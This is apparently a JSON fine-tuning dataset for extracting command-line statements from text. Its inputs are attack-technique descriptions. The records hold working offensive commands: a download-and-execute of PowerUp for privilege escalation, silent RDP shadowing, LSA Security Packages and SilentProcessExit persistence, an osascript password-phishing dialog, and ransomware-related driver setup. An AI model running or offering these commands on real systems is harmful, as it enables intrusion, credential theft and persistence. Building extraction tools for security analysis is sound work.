-UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To set up RDP shadowing without user notification, execute this command which configures both the firewall and registry settings: $s= New-CimSession -Computername #{server_name} -SessionOption (New-CimSessionOption -Protocol Dcom)\nGet-CimInstance -Namespace ROOT\\StandardCimv2 -ClassName MSFT_NetFirewallRule -Filter 'DisplayName=\"Remote Desktop - Shadow (TCP-In)\"' -CimSession $s | Invoke-CimMethod -MethodName Enable\nInvoke-CimMethod -ClassName StdRegProv -MethodName SetDWORDValue -Arguments @{hDefKey=[uint32]2147483650; sSubKeyName=\"Software\\Policies\\Microsoft\\Windows NT\\Terminal Services\"; sValueName=\"shadow\"; uValue=[uint32]2} -CimSession $s",
    "output": "{\"command_list\": [\"$s= New-CimSession -Computername #{server_name} -SessionOption (New-CimSessionOption -Protocol Dcom)\\nGet-CimInstance -Namespace ROOT\\\\StandardCimv2 -ClassName MSFT_NetFirewallRule -Filter 'DisplayName=\\\"Remote Desktop - Shadow (TCP-In)\\\"' -CimSession $s | Invoke-CimMethod -MethodName Enable\\nInvoke-CimMethod -ClassName StdRegProv -MethodName SetDWORDValue -Arguments @{hDefKey=[uint32]2147483650; sSubKeyName=\\\"Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\Terminal Services\\\"; sValueName=\\\"shadow\\\"; uValue=[uint32]2} -CimSession $s\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The PDQ console can be started by deploying the Remote Administration Tool via PDQ Deploy Software with the command: \"%PROGRAMFILES(x86)%/#{PDQ_Deploy_exe}\"",
    "output": "{\"command_list\": [\"\\\"%PROGRAMFILES(x86)%/#{PDQ_Deploy_exe}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can add a value to a Windows registry SSP key by executing this command: $oldvalue = $(Get-ItemProperty HKLM:\\System\\CurrentControlSet\\Control\\Lsa\\OSConfig -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages');\nSet-ItemProperty -Path \"HKLM:\\System\\CurrentControlSet\\Control\\Lsa\\OSConfig\" -Name 'Security Packages old' -Value \"$oldvalue\";\n$newvalue = \"AtomicTest.dll\";\nSet-ItemProperty HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig -Name 'Security Packages' -Value $newvalue\n",
    "output": "{\"command_list\": [\"$oldvalue = $(Get-ItemProperty HKLM:\\\\System\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\OSConfig -Name 'Security Packages' | Select-Object -ExpandProperty 'Security Packages');\\nSet-ItemProperty -Path \\\"HKLM:\\\\System\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\OSConfig\\\" -Name 'Security Packages old' -Value \\\"$oldvalue\\\";\\n$newvalue = \\\"AtomicTest.dll\\\";\\nSet-ItemProperty HKLM:\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\OSConfig -Name 'Security Packages' -Value $newvalue\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique, which mimics a software update prompt to phish for passwords locally, can be executed with the command: osascript -e 'tell app \"System Preferences\" to activate' -e 'tell app \"System Preferences\" to activate' -e 'tell app \"System Preferences\" to display dialog \"Software Update requires that you type your password to apply changes.\" & return & return  default answer \"\" with icon 1 with hidden answer with title \"Software Update\"'",
    "output": "{\"command_list\": [\"osascript -e 'tell app \\\"System Preferences\\\" to activate' -e 'tell app \\\"System Preferences\\\" to activate' -e 'tell app \\\"System Preferences\\\" to display dialog \\\"Software Update requires that you type your password to apply changes.\\\" & return & return  default answer \\\"\\\" with icon 1 with hidden answer with title \\\"Software Update\\\"'\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Similar to a recent CanaryToken, this test creates registry entries that will generate EventCode 3000 in the Application log when a process like whoami.exe is executed. The command below sets up the GlobalFlag and SilentProcessExit keys with specified values, then starts whoami.exe to trigger the behavior:\n$Name = \"GlobalFlag\"\n$Value = \"512\"\n$registryPath = \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\#{process}\"\nNew-Item -Path $registryPath -Force\nNew-ItemProperty -Path $registryPath -Name $Name -Value $Value -PropertyType DWord -Force\n$Name = \"ReportingMode\"\n$Value = \"1\"\n$SilentProcessExit = \"HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\#{process}\"\nNew-Item -Path $SilentProcessExit -Force\nNew-ItemProperty -Path $SilentProcessExit -Name $Name -Value $Value -PropertyType DWord -Force \n\n$Name = \"MonitorProcess\"\n$Value = \"#{cmd_to_run}\"\nNew-ItemProperty -Path $SilentProcessExit -Name $Name -Value $Value -PropertyType String -Force\nStart-Process whoami.exe\n",
    "output": "{\"command_list\": [\"$Name = \\\"GlobalFlag\\\"\\n$Value = \\\"512\\\"\\n$registryPath = \\\"HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options\\\\#{process}\\\"\\nNew-Item -Path $registryPath -Force\\nNew-ItemProperty -Path $registryPath -Name $Name -Value $Value -PropertyType DWord -Force\\n$Name = \\\"ReportingMode\\\"\\n$Value = \\\"1\\\"\\n$SilentProcessExit = \\\"HKLM:\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\SilentProcessExit\\\\#{process}\\\"\\nNew-Item -Path $SilentProcessExit -Force\\nNew-ItemProperty -Path $SilentProcessExit -Name $Name -Value $Value -PropertyType DWord -Force \\n\\n$Name = \\\"MonitorProcess\\\"\\n$Value = \\\"#{cmd_to_run}\\\"\\nNew-ItemProperty -Path $SilentProcessExit -Name $Name -Value $Value -PropertyType String -Force\\nStart-Process whoami.exe\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For setting up ransomware payloads using virtual machines, use this sequence of commands: \"C:\\Program Files\\Oracle\\VirtualBox\\VBoxSVC.exe\" /reregserver\nregsvr32 /S \"C:\\Program Files\\Oracle\\VirtualBox\\VboxC.dll\"\nrundll32 \"C:\\Program Files\\Oracle\\VirtualBox\\VBoxRT.dll,RTR3Init\"\nsc create VBoxDRV binpath= \"C:\\Program Files\\Oracle\\VirtualBox\\drivers\\VboxDrv.sys\" type= kernel start= auto error= normal displayname= PortableVBoxDRV\nsc start VBoxDRV",
    "output": "{\"command_list\": [\"\\\"C:\\\\Program Files\\\\Oracle\\\\VirtualBox\\\\VBoxSVC.exe\\\" /reregserver\\nregsvr32 /S \\\"C:\\\\Program Files\\\\Oracle\\\\VirtualBox\\\\VboxC.dll\\\"\\nrundll32 \\\"C:\\\\Program Files\\\\Oracle\\\\VirtualBox\\\\VBoxRT.dll,RTR3Init\\\"\\nsc create VBoxDRV binpath= \\\"C:\\\\Program Files\\\\Oracle\\\\VirtualBox\\\\drivers\\\\VboxDrv.sys\\\" type= kernel start= auto error= normal displayname= PortableVBoxDRV\\nsc start VBoxDRV\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This script detects virtualization by querying WMI objects, executing the following command to analyze system manufacturer and model: $Manufacturer = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty \"Manufacturer\"\n$Model = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty \"Model\"\nif((($Manufacturer.ToLower() -eq \"microsoft corporation\") -and ($Model.ToLower().contains(\"virtual\"))) -or ($Manufacturer.ToLower().contains(\"vmware\")) -or ($Model.ToLower() -eq \"virtualbox\")) {write-host \"Virtualization environment detected!\"} else {write-host \"No virtualization environment detected!\"}\n",
    "output": "{\"command_list\": [\"$Manufacturer = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty \\\"Manufacturer\\\"\\n$Model = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty \\\"Model\\\"\\nif((($Manufacturer.ToLower() -eq \\\"microsoft corporation\\\") -and ($Model.ToLower().contains(\\\"virtual\\\"))) -or ($Manufacturer.ToLower().contains(\\\"vmware\\\")) -or ($Model.ToLower() -eq \\\"virtualbox\\\")) {write-host \\\"Virtualization environment detected!\\\"} else {write-host \\\"No virtualization environment detected!\\\"}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any 